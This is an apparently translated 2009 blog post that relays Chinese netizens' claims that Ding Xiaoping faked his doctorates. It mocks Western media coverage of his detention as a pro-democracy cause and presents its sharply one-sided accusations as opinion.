At the Cat's Eye Forum, there is a famous post entitled "China's Most Awesome Person: Professor Ding Xiaoping." This page was first posted on March 5, 2006. This page has gained more than 3.8 million page views. As of September 24, 2009, it has 1,774 pages of comments with 26,610 individual comments. As such, this is one of the longest running and most celebrated posts in the history of the Chinese Internet. To put it bluntly, Ding Xiaoping is the best known charlatan in mainland China today. When he spoke of his doctorate degrees at American universities, one was with the AEU and the other was with the online correspondence entity known as the Dallas Baptist University which does not even offer a doctorate degree; when he spoke of his doctorate degree at the Chinese Medical Science University, it turned out that no one by the name of Ding Xiaoping had ever received a doctorate there, so he said that he had obtained a doctorate while using a pseudonym which he obviously cannot publish at this time ... Now it would appear that some western media would like to promote Ding Xiaoping as the latest pro-democracy hero-martyr. When the Chinese netizens read these western media reports, they are keeling over with laughter. Here is an example:
(伪通社大院) September 22, 2009.
The master deceiver Ding Xiaoping has been taken in.
My feeling is still that this should have happened a lot earlier.
Such a hooligan/rascal/swindler should be taken in as soon as possible.
Two months ago, someone told me that he has gone to Shanxi to deceive students and I should go and investigate.
I have completely lost interest in him.
But the New York Times is still interested in him, and they even mentioned my magazine.
Associated Press thinks the 100+ persons are Peking University and Renmin University students.
As far as I know, Old Ding's students were mostly unregistered; those who are registered are mostly engaged in self-study; full-time students are mostly from the Chinese Ethnic University.
Please, Associated Press should give its reporters more training on detecting fakery.
More relevant links on Ding Xiaoping and his academic credentials:
The most detailed Chinese-language discussion of his academic credentials: 迄今为止丁小平最详尽的简历与研究
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